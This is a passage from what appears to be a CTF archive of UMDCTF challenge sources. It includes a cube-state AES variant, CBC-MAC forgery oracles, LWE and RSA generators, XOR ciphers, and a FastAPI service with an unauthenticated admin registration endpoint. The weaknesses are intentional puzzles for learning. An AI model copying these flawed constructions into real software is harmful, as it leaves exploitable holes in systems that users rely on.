0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
]
inv_s_box = [s_box.index(i) for i in range(256)]
def sub_bytes(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
for k in range(4):
new_state[i][j][k] = s_box[s[i][j][k]]
return new_state
# provided for convenience
def inv_sub_bytes(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
for k in range(4):
new_state[i][j][k] = inv_s_box[s[i][j][k]]
return new_state
def shift_planes(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
for k in range(4):
new_state[(i+j) % 4][(j+k) % 4][k] = s[i][j][k]
return new_state
# provided for convenience
def inv_shift_planes(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
for k in range(4):
new_state[i][j][k] = s[(i+j)%4][(j+k)%4][k]
return new_state
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
def mix_single_column(a):
# see Sec 4.1.2 in The Design of Rijndael
t = a[0] ^ a[1] ^ a[2] ^ a[3]
b = [x for x in a] # copy
u = a[0]
b[0] ^= t ^ xtime(a[0] ^ a[1])
b[1] ^= t ^ xtime(a[1] ^ a[2])
b[2] ^= t ^ xtime(a[2] ^ a[3])
b[3] ^= t ^ xtime(a[3] ^ u)
return b
def mix_columns(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
new_state[i][j] = mix_single_column(s[i][j])
return new_state
# provided for convenience
def inv_mix_columns(s):
new_state = [[[0 for _ in range(4)] for _ in range(4)] for _ in range(4)]
# see Sec 4.1.3 in The Design of Rijndael
for i in range(4):
for j in range(4):
u = xtime(xtime(s[i][j][0] ^ s[i][j][2]))
v = xtime(xtime(s[i][j][1] ^ s[i][j][3]))
new_state[i][j][0] = s[i][j][0] ^ u
new_state[i][j][1] = s[i][j][1] ^ v
new_state[i][j][2] = s[i][j][2] ^ u
new_state[i][j][3] = s[i][j][3] ^ v
return mix_columns(new_state)
def encrypt(key, plaintext):
assert(len(key) == 64)
assert(len(plaintext) == 64)
round_keys = expand_key(key)
state = bytes_to_state(plaintext)
state = add_round_key(state, round_keys[0])
for i in range(1, N_ROUNDS):
state = sub_bytes(state)
state = shift_planes(state)
state = mix_columns(state)
state = add_round_key(state, round_keys[i])
state = sub_bytes(state)
state = shift_planes(state)
state = add_round_key(state, round_keys[N_ROUNDS])
return state_to_bytes(state)
if __name__ == "__main__":
key = os.urandom(64)
flag = open("flag.txt", "rb").read()
flag += b'\x00' * (64 - len(flag))
print("Encrypted Flag: ", bytes.hex(encrypt(key, flag)))
print("The Baron has gotten tired of your long and meaningless messages.")
print("Be very careful about what you say.")
print("Leave your message for Baron Harkonnen here: ")
pt = input()
if not pt.isprintable():
print("What is this meaningless garbage???")
exit()
pt = pt.encode()
if len(pt) % 64 != 0:
print("Must be a multiple of block size.")
exit()
elif (len(pt) // 64) > 3:
print("Too long.")
exit()
print("Encrypted message:")
i = 0
while i < len(pt):
print(bytes.hex(encrypt(key, pt[i:i+64])), end='')
i += 64
print()
print("Your message has been sent to the Baron.")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/crypto/Key_Recovery/encrypt.py | ctfs/UMDCTF/2024/crypto/Key_Recovery/encrypt.py | from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
with open("flag.txt", "rb") as f:
flag = f.read()
with open("original.pem", "rb") as f:
orig_key = f.read()
key = RSA.import_key(orig_key)
cipher = PKCS1_OAEP.new(key)
ciphertext = cipher.encrypt(flag)
with open("out.txt", "wb") as f:
f.write(ciphertext)
with open("modified.pem", "wb") as f:
for i, line in enumerate(orig_key.splitlines()):
f.write(line[:66-2*i] + b'\n') | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/web/HTTP_Fanatics/main.py | ctfs/UMDCTF/2024/web/HTTP_Fanatics/main.py | import base64
import json
import os
import re
import threading
import time
from typing import Annotated
from fastapi import FastAPI, Cookie
from fastapi.requests import Request
from fastapi.responses import HTMLResponse, Response
from fastapi.templating import Jinja2Templates
from pydantic import BaseModel
app = FastAPI()
default_users = {"1_t0taL1y_w4tCh3d_4Un3": base64.b64encode(os.urandom(64)).decode("utf-8"),
"SSLv3 enjoyer": base64.b64encode(os.urandom(64)).decode("utf-8"),
"HTTP/2 isn't a hypertext protocol": base64.b64encode(os.urandom(64)).decode("utf-8")}
users = default_users.copy()
class Registration(BaseModel):
username: str
password: str
@app.post("/admin/register")
def register(user: Registration):
if not re.match(r"[a-zA-Z]{1,8}", user.username):
return Response(status_code=400, content="Bad Request")
users[user.username] = user.password
return Response(status_code=204)
@app.get("/dashboard")
def dashboard(credentials: Annotated[str | None, Cookie()] = None):
if not credentials:
return Response(status_code=401, content="Unauthorized")
user_info = json.loads(base64.b64decode(credentials))
if user_info["username"] not in users or user_info["password"] != users[user_info["username"]]:
return Response(status_code=401, content="Unauthorized")
with open("static/dashboard.html") as dashboard_file:
return HTMLResponse(content=dashboard_file.read())
templates = Jinja2Templates(directory="templates")
@app.get("/")
def root(request: Request):
return templates.TemplateResponse(
request=request, name="index.html", context={"users": ", ".join(users.keys())}
)
def reset_users():
global users
while True:
users = default_users.copy()
time.sleep(5 * 60)
reset_thread = threading.Thread(target=reset_users)
reset_thread.start()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/ml/Elgyems_Password/model.py | ctfs/UMDCTF/2023/ml/Elgyems_Password/model.py | from torch import nn
model = nn.Sequential(
nn.Linear(22, 69),
nn.Linear(69, 420),
nn.Linear(420, 800),
nn.Linear(800, 85),
nn.Linear(85, 13),
nn.Linear(13, 37)
) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/Ekans/generator.py | ctfs/UMDCTF/2023/crypto/Ekans/generator.py | import random
import numpy as np
DIM = 256
q = 15901
rng = np.random.default_rng()
def gen_A():
mat = [[random.randint(0, q-1) for _ in range(DIM)] for _ in range(DIM) ]
return np.matrix(mat)
def gen_error_vec():
e = [ rng.binomial(20, 0.5) - 10 for _ in range(DIM) ]
return np.matrix(e).transpose()
def gen_error_mat():
E = [ [rng.binomial(20, 0.5) - 10 for _ in range(DIM)] for _ in range(DIM) ]
return np.matrix(E)
A = gen_A()
s = gen_error_vec()
# randomness is hard to come by, so we can save some by just reversing our secret
e = np.matrix(s.tolist()[::-1])
B = (A*s + e) % q
# Here's the public key!
print(f'A = {A.tolist()}')
print(f'B = {B.tolist()}')
flag = open('flag.txt', 'rb').read()
flag_hex = flag.hex()
flag_hex1 = flag_hex[0:DIM]
flag_hex1 += '0'*(DIM - len(flag_hex1))
# Four bits per entry
v1 = [ [(q // 2**4) * int(c, 16)] for c in flag_hex1 ]
v1 = np.matrix(v1)
# Encrypt flag
def encrypt(msg):
S_prime = gen_error_mat()
E_prime = gen_error_mat()
e_prime = gen_error_vec()
B_prime = (S_prime * A + E_prime) % q
V = (S_prime * B + e_prime + msg) % q
return (B_prime, V)
ct = encrypt(v1)
print(f'B_prime = {ct[0].tolist()}')
print(f'V = {ct[1].tolist()}')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/CBC-MAC1/cbc-mac1.py | ctfs/UMDCTF/2023/crypto/CBC-MAC1/cbc-mac1.py | import socket
import threading
from _thread import *
from Crypto import Random
from Crypto.Cipher import AES
from binascii import hexlify, unhexlify
HOST = '0.0.0.0' # Standard loopback interface address (localhost)
PORT = 60001 # Port to listen on (non-privileged ports are > 1023)
FLAG = open('flag.txt', 'r').read().strip()
MENU = "\nWhat would you like to do?\n\t(1) MAC Query\n\t(2) Forgery\n\t(3) Exit\n\nChoice: "
INITIAL = "Team Rocket told me CBC-MAC with arbitrary-length messages is safe from forgery. If you manage to forge a message you haven't queried using my oracle, I'll give you something in return.\n"
BS = 16 # Block Size
MAX_QUERIES = 10
def cbc_mac(msg, key):
iv = b'\x00'*BS
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
t = cipher.encrypt(msg)[-16:]
return hexlify(t)
def threading(conn):
conn.sendall(INITIAL.encode())
key = Random.get_random_bytes(16)
queries = []
while len(queries) < MAX_QUERIES:
conn.sendall(MENU.encode())
try:
choice = conn.recv(1024).decode().strip()
except ConnectionResetError as cre:
return
# MAC QUERY
if choice == '1':
conn.sendall(b'msg (hex): ')
msg = conn.recv(1024).strip()
try:
msg = unhexlify(msg)
if (len(msg) + BS) % BS != 0:
conn.sendall(f'Invalid msg length. Must be a multiple of BS={BS}\n'.encode())
else:
queries.append(msg)
t = cbc_mac(msg, key)
conn.sendall(f'CBC-MAC(msg): {t.decode()}\n'.encode())
except Exception as e:
conn.sendall(b'Invalid msg format. Must be in hexadecimal\n')
# FORGERY (impossible as I'm told)
elif choice == '2':
conn.sendall(b'msg (hex): ')
msg = conn.recv(1024).strip()
conn.sendall(b'tag (hex): ')
tag = conn.recv(1024).strip()
try:
msg = unhexlify(msg)
if (len(msg) + BS) % BS != 0:
conn.sendall(f'Invalid msg length. Must be a multiple of BS={BS} bytes\n'.encode())
elif len(tag) != BS*2:
conn.sendall(f'Invalid tag length. Must be {BS} bytes\n'.encode())
elif msg in queries:
conn.sendall(f'cheater\n'.encode())
else:
t_ret = cbc_mac(msg, key)
if t_ret == tag:
conn.sendall(f'If you reach this point, I guess we need to find a better MAC (and not trust TR). {FLAG}\n'.encode())
else:
conn.sendall(str(t_ret == tag).encode() + b'\n')
except Exception as e:
conn.sendall(b'Invalid msg format. Must be in hexadecimal\n')
else:
if choice == '3': # EXIT
conn.sendall(b'bye\n')
else: # INVALID CHOICE
conn.sendall(b'invalid menu choice\n')
break
if len(queries) > MAX_QUERIES:
conn.sendall(f'too many queries: {len(queries)}\n'.encode())
conn.close()
if __name__ == "__main__":
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen()
while True:
conn, addr = s.accept()
print(f'new connection: {addr}')
start_new_thread(threading, (conn, ))
s.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/NoisyBits/generator.py | ctfs/UMDCTF/2023/crypto/NoisyBits/generator.py | import random
POLY = 0xC75
FLAG_BIN_LENGTH = 360
def encode(cw):
cw = (cw & 0xfff)
c = cw
for i in range(1, 12+1):
if cw & 1 != 0:
cw = cw ^ POLY
cw = cw >> 1
return (cw << 12) | c
flag = open('flag.txt', 'rb').read()
binary_str = bin(int.from_bytes(flag))[2:].zfill(FLAG_BIN_LENGTH)
blocks = [ ''.join([binary_str[12*i+j] for j in range(12)]) for i in range(FLAG_BIN_LENGTH // 12) ]
block_nos = [ int(s, 2) for s in blocks ]
encoded = [ encode(cw) for cw in block_nos ]
# flip some bits for fun
for i in range(len(encoded)):
encoded[i] = encoded[i] ^ (1 << random.randint(0,22))
encoded[i] = encoded[i] ^ (1 << random.randint(0,22))
encoded[i] = encoded[i] ^ (1 << random.randint(0,22))
encoded_bin = [ bin(e)[2:].zfill(23) for e in encoded ]
print(' '.join(encoded_bin))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/Caterpie/generator.py | ctfs/UMDCTF/2023/crypto/Caterpie/generator.py | import numpy as np
import random
DIM = 64
q = 2**16
rng = np.random.default_rng()
def gen_A():
mat = [[random.randint(0, q-1) for _ in range(DIM)] for _ in range(DIM) ]
return np.matrix(mat)
def gen_error_vec():
e = [ rng.binomial(20, 0.5) - 10 for _ in range(DIM) ]
return np.matrix(e).transpose()
def gen_error_mat():
E = [ [rng.binomial(20, 0.5) - 10 for _ in range(DIM)] for _ in range(DIM) ]
return np.matrix(E)
A = gen_A()
s = gen_error_vec()
e = gen_error_vec()
B = (A*s + e) % q
# Here's the public key!
print(f'A = {A.tolist()}')
print(f'B = {B.tolist()}')
flag = open('flag.txt', 'rb').read()
flag_hex = flag.hex()
flag_hex1 = flag_hex[0:DIM]
flag_hex1 += '0'*(DIM - len(flag_hex1))
# Four bits per entry
v1 = [ [(q // 2**4) * int(c, 16)] for c in flag_hex1 ]
v1 = np.matrix(v1)
# Encrypt flag
def encrypt(msg):
S_prime = gen_error_mat()
E_prime = gen_error_mat()
e_prime = gen_error_vec()
B_prime = (S_prime * A + E_prime) % q
V = (S_prime * B + e_prime + msg) % q
return (B_prime, V)
ct = encrypt(v1)
print(f'B_prime = {ct[0].tolist()}')
print(f'V = {ct[1].tolist()}')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/Eeveelutions/gen.py | ctfs/UMDCTF/2023/crypto/Eeveelutions/gen.py | from Crypto.Util.number import getPrime, inverse, bytes_to_long
from math import gcd
import re
import string
import random
while True:
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3
phi = (p-1)*(q-1)
if gcd(phi, e) == 1:
d = inverse(e, phi)
break
with open('flag.txt', 'r') as f:
flag = f.read().strip()
pad1 = ''.join(random.choices(string.ascii_uppercase + string.ascii_lowercase + string.digits, k=12))
pad2 = ''.join(random.choices(string.ascii_uppercase + string.ascii_lowercase + string.digits, k=12))
evolutions = ['umbreon', 'sylveon', 'jolteon', 'flareon', 'glaceon', 'leafeon']
e1 = random.choice(evolutions)
while True:
e2 = random.choice(evolutions)
if e2 != e1:
break
flag1 = re.sub("eevee", e1, flag) + pad1
flag2 = re.sub("eevee", e2, flag) + pad2
f1 = bytes_to_long(flag1.encode())
f2 = bytes_to_long(flag2.encode())
ct1 = pow(f1, e, n)
ct2 = pow(f2, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"ct1 = {ct1}")
print(f"ct2 = {ct2}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/CBC-MAC2/cbc-mac2.py | ctfs/UMDCTF/2023/crypto/CBC-MAC2/cbc-mac2.py | import socket
import threading
from _thread import *
from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes as l2b
from binascii import hexlify, unhexlify
HOST = '0.0.0.0' # Standard loopback interface address (localhost)
PORT = 60002 # Port to listen on (non-privileged ports are > 1023)
FLAG = open('flag.txt', 'r').read().strip()
MENU = "\nWhat would you like to do?\n\t(1) MAC Query\n\t(2) Forgery\n\t(3) Exit\n\nChoice: "
INITIAL = "I came up with a scheme that might just work. Definitely not trusting those TR peeps anymore. I'm not sure how to prove the security of this besides finding an attacker that can do it (and that's where you come in). Once again, if you manage to forge a message you haven't queried using my oracle, I'll give you something in return.\n"
BS = 16 # Block Size
MAX_QUERIES = 10
def cbc_mac(msg, key):
iv = b'\x00'*BS
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
ct = cipher.encrypt(msg + l2b(len(msg)//BS, BS))
t = ct[-16:]
return hexlify(t)
def threading(conn):
conn.sendall(INITIAL.encode())
key = Random.get_random_bytes(16)
queries = []
while len(queries) < MAX_QUERIES:
conn.sendall(MENU.encode())
try:
choice = conn.recv(1024).decode().strip()
except ConnectionResetError as cre:
return
# MAC QUERY
if choice == '1':
conn.sendall(b'msg (hex): ')
msg = conn.recv(1024).strip()
try:
msg = unhexlify(msg)
if (len(msg) + BS) % BS != 0:
conn.sendall(f'Invalid msg length. Must be a multiple of BS={BS}\n'.encode())
else:
queries.append(msg)
t = cbc_mac(msg, key)
conn.sendall(f'CBC-MAC(msg || <|msg|>): {t.decode()}\n'.encode())
except Exception as e:
conn.sendall(b'Invalid msg format. Must be in hexadecimal\n')
# FORGERY
elif choice == '2':
conn.sendall(b'msg (hex): ')
msg = conn.recv(1024).strip()
conn.sendall(b'tag (hex): ')
tag = conn.recv(1024).strip()
try:
msg = unhexlify(msg)
if (len(msg) + BS) % BS != 0:
conn.sendall(f'Invalid msg length. Must be a multiple of BS={BS} bytes\n'.encode())
elif len(tag) != BS*2:
conn.sendall(f'Invalid tag length. Must be {BS} bytes\n'.encode())
elif msg in queries:
conn.sendall(f'cheater\n'.encode())
else:
t_ret = cbc_mac(msg, key)
if t_ret == tag:
conn.sendall(f'I hope this line never runs, but if it does, here you go: {FLAG}\n'.encode())
else:
conn.sendall(str(t_ret == tag).encode() + b'\n')
except Exception as e:
conn.sendall(b'Invalid msg format. Must be in hexadecimal\n')
else:
if choice == '3': # EXIT
conn.sendall(b'bye\n')
else: # INVALID CHOICE
conn.sendall(b'invalid menu choice\n')
break
if len(queries) > MAX_QUERIES:
conn.sendall(f'too many queries: {len(queries)}\n'.encode())
conn.close()
if __name__ == "__main__":
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen()
while True:
conn, addr = s.accept()
print(f'new connection: {addr}')
start_new_thread(threading, (conn, ))
s.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/ReduceThyself/reduce_thyself.py | ctfs/UMDCTF/2023/crypto/ReduceThyself/reduce_thyself.py | import socket
import random
import threading
from _thread import *
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l, getPrime, isPrime, inverse
from math import gcd
from binascii import hexlify, unhexlify
HOST = '0.0.0.0' # Standard loopback interface address (localhost)
PORT = 60003 # Port to listen on (non-privileged ports are > 1023)
FLAG = open('flag.txt', 'r').read().strip().encode()
def decrypt(flag_ct, ct, d, n):
pt = 'null'
if isPrime(ct) and ct != flag_ct:
pt = hexlify(l2b(pow(ct, d, n))).decode()
return pt
def gen_params():
while True:
p,q = getPrime(1024), getPrime(1024)
n = p*q
e = 0x10001
phi = (p-1)*(q-1)
if gcd(phi, e) == 1:
d = inverse(e, phi)
break
return n,e,d
def threading(conn):
n,e,d = gen_params()
flag_ct = pow(b2l(FLAG), e, n)
print(f'n: {n}\ne: {e}\nd: {d}')
conn.sendall(f'n: {hex(n)}\ne: {hex(e)}\nflag_ct: {hex(flag_ct)}\n\n'.encode())
while True:
conn.sendall(b'Gimme ct (hex): ')
try:
ct = int(conn.recv(1024).strip().decode(), 16)
except Exception as e:
conn.sendall(b'invalid ct')
break
pt = decrypt(flag_ct, ct, d, n)
conn.sendall(f'result: {pt}\n\n'.encode())
conn.close()
if __name__ == "__main__":
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen()
while True:
conn, addr = s.accept()
print(f'new connection: {addr}')
start_new_thread(threading, (conn, ))
s.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/AES-TR/aes-tr.py | ctfs/UMDCTF/2023/crypto/AES-TR/aes-tr.py | import socket
import random
import threading
from _thread import *
from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from Crypto.Util.strxor import strxor
from binascii import hexlify, unhexlify
HOST = '0.0.0.0' # Standard loopback interface address (localhost)
PORT = 60000 # Port to listen on (non-privileged ports are > 1023)
FLAG = open('flag.txt', 'r').read().strip()
MENU = "\nWhat would you like to do?\n\t(1) Encryption Query\n\t(2) Check Bit\n\t(3) Exit\n\nChoice: "
INITIAL = "Welcome to the best symmetric encryption scheme ever. I'll give you a flag if you can prove this scheme insecure under IND-CPA, but I know it's impossible!! >:)\n"
BS = 16 # Block Size
MS = 30 # Maximum blocks per query
MAX_QUERIES = 10
NUM_BITS = 128
def encrypt(m):
m = unhexlify(m)
iv = Random.get_random_bytes(16)
key = Random.get_random_bytes(16)
cipher = AES.new(key, AES.MODE_ECB)
blocks = [m[i:i+BS] for i in range(0, len(m), BS)]
ct = iv
for i in range(len(blocks)):
ctr = l2b((b2l(iv)+i+1) % pow(2,BS*8))
ctr = b'\x00'*(BS - len(ctr)) + ctr # byte padding if ctr < pow(2,BS*8 - 1)
ct += cipher.encrypt(strxor(ctr, blocks[i]))
assert len(ct) - len(m) == BS
return hexlify(ct)
def threading(conn):
conn.sendall(INITIAL.encode())
for bit in range(NUM_BITS):
queries = 0
b = random.randint(0,1)
while queries < MAX_QUERIES:
conn.sendall(MENU.encode())
try:
choice = conn.recv(1024).decode().strip()
except ConnectionResetError as cre:
return
# ENCRYPTION QUERY
if choice == '1':
queries += 1
conn.sendall(b'm0 (hex): ')
m0 = conn.recv(1024).strip()
conn.sendall(b'm1 (hex): ')
m1 = conn.recv(1024).strip()
if (len(m0) % 2 != 0) or ((len(m0) // 2) % BS != 0) or ((len(m0) // (2*BS)) > MS):
conn.sendall(b'invalid m0\n')
elif (len(m1) % 2 != 0) or ((len(m1) // 2) % BS != 0) or ((len(m1) // (2*BS)) > MS):
conn.sendall(b'invalid m1\n')
elif len(m0) != len(m1):
conn.sendall(b'messages must be same length\n')
else:
if b == 0:
ct = encrypt(m0)
else:
ct = encrypt(m1)
conn.sendall(b'ct: ' + ct + b'\n')
continue
# CHECK BIT
elif choice == '2':
conn.sendall(b'Bit (b) guess: ')
b_guess = conn.recv(1024).strip().decode()
if b_guess == str(b):
conn.sendall(b'correct!\n')
break
else:
conn.sendall(b'wrong\n')
# EXIT
elif choice == '3':
conn.sendall(b'bye homie\n')
# INVALID
else:
conn.sendall(b'invalid menu choice\n')
# close connection on exit, invalid choice, wrong bit guess, invalid encryption query
conn.close()
return
if queries > MAX_QUERIES:
conn.sendall(f'too many queries: {queries}\n'.encode())
conn.close()
return
# Bits guessed correctly
conn.sendall(f'okay, okay, here is your flag: {FLAG}\n'.encode())
conn.close()
if __name__ == "__main__":
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen()
while True:
conn, addr = s.accept()
print(f'new connection: {addr}')
start_new_thread(threading, (conn, ))
s.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2022/crypto/VigenereXOR/keygen.py | ctfs/UMDCTF/2022/crypto/VigenereXOR/keygen.py | import random
from binascii import hexlify
KEY_LEN = [REDACTED]
keybytes = []
for _ in range(KEY_LEN):
keybytes.append(random.randrange(0,255))
print(f'key = {bytes(keybytes)}')
key = hexlify(bytes(keybytes)).decode()
with open('key.hex', 'w') as f:
print(f'key = {key}')
f.write(key + '\n')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2022/crypto/VigenereXOR/encrypt.py | ctfs/UMDCTF/2022/crypto/VigenereXOR/encrypt.py | import random
from binascii import unhexlify, hexlify
KEY_LEN = [REDACTED]
with open('plaintext.txt', 'r') as f:
pt = f.read()
with open('key.hex', 'r') as f:
key = unhexlify(f.read().strip())
ct_bytes = []
for i in range(len(pt)):
ct_bytes.append(ord(pt[i]) ^ key[i % KEY_LEN])
ct = bytes(ct_bytes)
print(hexlify(ct).decode() + '\n')
with open('ciphertext.txt', 'w') as f:
f.write(hexlify(ct).decode() + '\n')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2022/crypto/MTP/encrypt.py | ctfs/UMDCTF/2022/crypto/MTP/encrypt.py | import random
from binascii import unhexlify, hexlify
KEY_LEN = 30
keybytes = []
for _ in range(KEY_LEN):
keybytes.append(random.randrange(0,255))
print(f'key = {bytes(keybytes)}')
key = keybytes
with open('plaintexts.txt', 'r') as f:
pts = f.read().strip().split('\n')
cts = []
for pt in pts:
ct_bytes = []
for i in range(len(pt)):
ct_bytes.append(ord(pt[i]) ^ key[i])
cts.append(bytes(ct_bytes))
print(' ')
with open('ciphertexts.txt', 'w') as f:
for ct in cts:
print(hexlify(ct).decode())
f.write(hexlify(ct).decode() + '\n')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2022/web/ASimpleCalculator/secrets.py | ctfs/UMDCTF/2022/web/ASimpleCalculator/secrets.py | # note that all of this info is diff on the challenge server :)
FLAG = 'f{hi_bob}}'
key = 7
ws = ['bad stuff']
def encrypt(text: str, key: int):
result = ''
for c in text:
if c.isupper():
c_index = ord(c) - ord('A')
c_shifted = (c_index + key) % 26 + ord('A')
result += chr(c_shifted)
elif c.islower():
c_index = ord(c) - ord('a')
c_shifted = (c_index + key) % 26 + ord('a')
result += chr(c_shifted)
elif c.isdigit():
c_new = (int(c) + key) % 10
result += str(c_new)
else:
result += c
return result
flag_enc = encrypt(FLAG, key)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
